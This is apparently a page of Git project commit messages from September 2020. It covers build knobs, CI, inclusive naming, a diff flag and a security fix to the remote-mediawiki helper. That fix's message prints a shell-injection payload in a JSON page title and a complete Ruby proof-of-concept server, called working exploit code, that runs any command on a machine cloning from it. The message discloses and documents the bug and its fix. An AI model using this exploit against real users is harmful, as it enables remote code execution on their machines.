The variable core_partial_clone_filter_default has been unused since
fa3d1b63e8 ("promisor-remote: parse remote.*.partialclonefilter",
2019-06-25), when Git was changed to refer to
remote.*.partialclonefilter as the default filter when fetching in a
partial clone, but (perhaps inadvertently) there was no fallback to
core.partialclonefilter.

One alternative is to add the fallback, but the aforementioned change
was made more than a year ago and I have not heard of any complaints
regarding this matter. In addition, there is currently no mention of
core.partialclonefilter in the user documentation. So it seems best to
reaffirm that Git will only support remote.*.partialclonefilter.

Signed-off-by: Jonathan Tan <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoci: stop linking built-ins to the dashed versions
Johannes Schindelin [Mon, 21 Sep 2020 22:28:17 +0000 (22:28 +0000)]
ci: stop linking built-ins to the dashed versions

Since e4597aae6590 (run test suite without dashed git-commands in PATH,
2009-12-02), we stopped running our tests with `git-foo` binaries found
at the top-level directory of a freshly built source tree; instead we
have placed only `git` and selected `git-foo` commands that must be on
`$PATH` in `bin-wrappers/` and prepended that `bin-wrappers/` to the
`PATH` used in the test suite. We did that to catch the tests and
scripted Git commands that still try to use the dashed form.

Since CI jobs will not install the built Git to anywhere, and the
hardlinks we make at the top-level of the source tree for `git-add` and
friends are not even used during tests, they are pure waste of resources
these days.

Thanks to the newly invented `SKIP_DASHED_BUILT_INS` knob, we can now
skip creating these links in the source tree. So let's do that.

Note that this change introduces a subtle change of behavior: when Git's
`cmd_main()` calls `setup_path()`, it inserts the value of
`GIT_EXEC_PATH` (defaulting to `<prefix>/libexec/git-core`) at the
beginning of the environment variable `PATH`. This is necessary to find
e.g. scripted commands that are installed in that location. For the
purposes of Git's test suite, the `bin-wrappers/` scripts override
`GIT_EXEC_PATH` to point to the top-level directory of the source code.

In other words, if a scripted command had used a dashed invocation of a
built-in Git command, it would not have been caught previously, which is
fixed by this change.

Signed-off-by: Johannes Schindelin <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoOptionally skip linking/copying the built-ins
Johannes Schindelin [Mon, 21 Sep 2020 22:28:16 +0000 (22:28 +0000)]
Optionally skip linking/copying the built-ins

For a long time already, the non-dashed form of the built-ins is the
recommended way to write scripts, i.e. it is better to call `git merge
[...]` than to call `git-merge [...]`.

While Git still supports the dashed form (by hard-linking the `git`
executable to the dashed name in `libexec/git-core/`), in practice, it
is probably almost irrelevant.

However, we *do* care about keeping people's scripts working (even if
they were written before the non-dashed form started to be recommended).

Keeping this backwards-compatibility is not necessarily cheap, though:
even so much as amending the tip commit in a git.git checkout will
require re-linking all of those dashed commands. On this developer's
laptop, this makes a noticeable difference:

$ touch version.c && time make
    CC version.o
    AR libgit.a
    LINK git-bugreport.exe
    [... 11 similar lines ...]
    LN/CP git-remote-https.exe
    LN/CP git-remote-ftp.exe
    LN/CP git-remote-ftps.exe
    LINK git.exe
    BUILTIN git-add.exe
    [... 123 similar lines ...]
    BUILTIN all
    SUBDIR git-gui
    SUBDIR gitk-git
    SUBDIR templates
    LINK t/helper/test-fake-ssh.exe
    LINK t/helper/test-line-buffer.exe
    LINK t/helper/test-svn-fe.exe
    LINK t/helper/test-tool.exe

real    0m36.633s
user    0m3.794s
sys     0m14.141s

$ touch version.c && time make SKIP_DASHED_BUILT_INS=1
    CC version.o
    AR libgit.a
    LINK git-bugreport.exe
    [... 11 similar lines ...]
    LN/CP git-remote-https.exe
    LN/CP git-remote-ftp.exe
    LN/CP git-remote-ftps.exe
    LINK git.exe
    BUILTIN git-receive-pack.exe
    BUILTIN git-upload-archive.exe
    BUILTIN git-upload-pack.exe
    BUILTIN all
    SUBDIR git-gui
    SUBDIR gitk-git
    SUBDIR templates
    LINK t/helper/test-fake-ssh.exe
    LINK t/helper/test-line-buffer.exe
    LINK t/helper/test-svn-fe.exe
    LINK t/helper/test-tool.exe

real    0m23.717s
user    0m1.562s
sys     0m5.210s

Also, `.zip` files do not have any standardized support for hard-links,
therefore "zipping up" the executables will result in inflated disk
usage. (To keep down the size of the "MinGit" variant of Git for
Windows, which is distributed as a `.zip` file, the hard-links are
excluded specifically.)

In addition to that, some programs that are regularly used to assess
disk usage fail to realize that those are hard-links, and heavily
overcount disk usage. Most notably, this was the case with Windows
Explorer up until the last couple of Windows 10 versions. See e.g.
https://github.com/msysgit/msysgit/issues/58.

To save on the time needed to hard-link these dashed commands, with the
plan to eventually stop shipping with those hard-links on Windows, let's
introduce a Makefile knob to skip generating them.

Signed-off-by: Johannes Schindelin <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agomsvc: copy the correct `.pdb` files in the Makefile target `install`
Johannes Schindelin [Mon, 21 Sep 2020 22:28:15 +0000 (22:28 +0000)]
msvc: copy the correct `.pdb` files in the Makefile target `install`

There is a hard-coded list of `.pdb` files to copy. But we are about to
introduce the `SKIP_DASHED_BUILT_INS` knob in the `Makefile`, which
might make this hard-coded list incorrect.

Let's switch to a dynamically-generated list instead.

Signed-off-by: Johannes Schindelin <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agot3200: avoid variations of the `master` branch name
Johannes Schindelin [Mon, 21 Sep 2020 22:01:24 +0000 (22:01 +0000)]
t3200: avoid variations of the `master` branch name

To avoid branch names with a loaded history, we already started to avoid
using the name "master" in a couple instances.

The `t3200-branch.sh` script uses variations of this name for branches
other than the default one. So let's change those names, as
"lowest-hanging fruits" in the effort to use more inclusive naming
throughout Git's source code. While at it, make those branch names
independent from the default branch name.

In this particular instance, this rename requires a couple of
non-trivial adjustments, as the aligned output depends on the maximum
length of the displayed branches (which we now changed), and also on the
alphabetical order (which we now changed, too).

Signed-off-by: Johannes Schindelin <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agofast-export: avoid using unnecessary language in a code comment
Johannes Schindelin [Mon, 21 Sep 2020 22:01:22 +0000 (22:01 +0000)]
fast-export: avoid using unnecessary language in a code comment

In an ongoing effort to avoid non-inclusive language, let's avoid using
the branch name "master" in a code comment.

Signed-off-by: Johannes Schindelin <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agot/test-terminal: avoid non-inclusive language
Johannes Schindelin [Mon, 21 Sep 2020 22:01:23 +0000 (22:01 +0000)]
t/test-terminal: avoid non-inclusive language

In the ongoing effort to make the Git project a more inclusive place,
let's try to avoid names like "master" where possible.

In this instance, the use of the term `slave` is unfortunately enshrined
in IO::Pty's API. We simply cannot avoid using that word here. But at
least we can get rid of the usage of the word `master` and hope that
IO::Pty will be eventually adjusted, too.

Guessing that IO::Pty might follow Python's lead, we replace the name
`master` by `parent` (hoping that IO::Pty will adopt the parent/child
nomenclature, too).

Signed-off-by: Johannes Schindelin <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agocontrib/completion: complete `git diff --merge-base`
Denton Liu [Sun, 20 Sep 2020 11:22:27 +0000 (04:22 -0700)]
contrib/completion: complete `git diff --merge-base`

Signed-off-by: Denton Liu <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agobuiltin/diff-tree: learn --merge-base
Denton Liu [Mon, 14 Sep 2020 18:36:52 +0000 (11:36 -0700)]
builtin/diff-tree: learn --merge-base

The previous commit introduced ---merge-base a way to take the diff
between the working tree or index and the merge base between an arbitrary
commit and HEAD. It makes sense to extend this option to support the
case where two commits are given too and behave in a manner identical to
`git diff A...B`.

Introduce the --merge-base flag as an alternative to triple-dot
notation. Thus, we would be able to write the above as
`git diff --merge-base A B`.

Signed-off-by: Denton Liu <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoremote-mediawiki: use "sh" to eliminate unquoted commands
Ævar Arnfjörð Bjarmason [Mon, 21 Sep 2020 10:40:00 +0000 (12:40 +0200)]
remote-mediawiki: use "sh" to eliminate unquoted commands

Remove the use of run_git_unquoted() completely with a use of "sh -c"
suggested by Jeff King, i.e.:

    sh -c '"$@" 2>/dev/null' -- echo sneaky 'argument;id'

I don't think this is needed now for any potential RCE issue. The
$remotename argument is ultimately picked by the local user (and
similarly, the $local variable comes from a user-supplied
refspec).

But completely eliminating the use of unquoted shell arguments has a
value in and of itself, by making the code easier to review. As noted
in an earlier commit I think the use of IPC::Open3 would be too
verbose here, but this "sh -c" trick strikes the right balance between
readability and semantic sanity.

Suggested-by: Jeff King <redacted>
Signed-off-by: Ævar Arnfjörð Bjarmason <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoremote-mediawiki: annotate unquoted uses of run_git()
Ævar Arnfjörð Bjarmason [Mon, 21 Sep 2020 10:39:59 +0000 (12:39 +0200)]
remote-mediawiki: annotate unquoted uses of run_git()

Explicitly annotate the invocations of run_git() which don't use
quoted arguments. I'm not converting these to run_git_quoted() because
these invocations pipe stderr to /dev/null, which the Perl open() API
doesn't support.

We could do a quoted version of this with IPC::Open3, but I don't
think it's worth it to go through that here. Let's instead just mark
these sites, and comment on why it's OK to use the variables we're
using.

This eliminates the last uses of run_git(), so we can remove the alias
for it introduced in an earlier commit.

Signed-off-by: Ævar Arnfjörð Bjarmason <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoremote-mediawiki: convert to quoted run_git() invocation
Ævar Arnfjörð Bjarmason [Mon, 21 Sep 2020 10:39:58 +0000 (12:39 +0200)]
remote-mediawiki: convert to quoted run_git() invocation

Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.

This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.

The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:

    [...]"title":"`id>/tmp/mw`:Main Page"[..]

Would result in an invocation of:

    git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"

>From code such as this, which is being changed by this patch:

    run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));

So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.

About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):

    1. The mediawiki helper has never been shipped as part of an
       official Git for Windows version. Neither has it ever been part
       of an official MSYS2 package. Which means that Windows users
       who want to use the mediawiki helper have to build Git
       themselves, which not many users seem to do.

    2. The last Git for Windows version to ship with Perl v5.22.x was
       Git for Windows v2.11.1; Since Git for Windows
       v2.12.0 (released on February 25th, 2017), only newer Perl
       versions were included.

So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.

For further reference and future testing, here's working exploit code
provided by Joern:

    #!/usr/bin/ruby
    # git client side RCE via `mediawiki` remote proof of concept
    # Joern Schneeweisz - GitLab Security Research Team

    require 'sinatra'
    set bind: '0.0.0.0'

    if not ARGV[0]

      puts "Please provide the shell command to be execucted."
      exit -1

    end

    cmd = ARGV[0]
    all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
    revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
    mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)

    post '/api.php' do

      if params[:list] == 'allpages'
        return all_pages
      end

      if params[:prop] == 'revisions'
        return revs
      end

      return mainpage
    end

Which:

    [...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
    being cloned with `git clone mediawiki::http://localhost:4567` the
    file `/tmp/mw` will be created during the clone process,
    containing the output of `id`.

1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens

Reported-by: Joern Schneeweisz <redacted>
Signed-off-by: Ævar Arnfjörð Bjarmason <redacted>
Signed-off-by: Junio C Hamano <redacted>
git clone https://git.99rst.org/PROJECT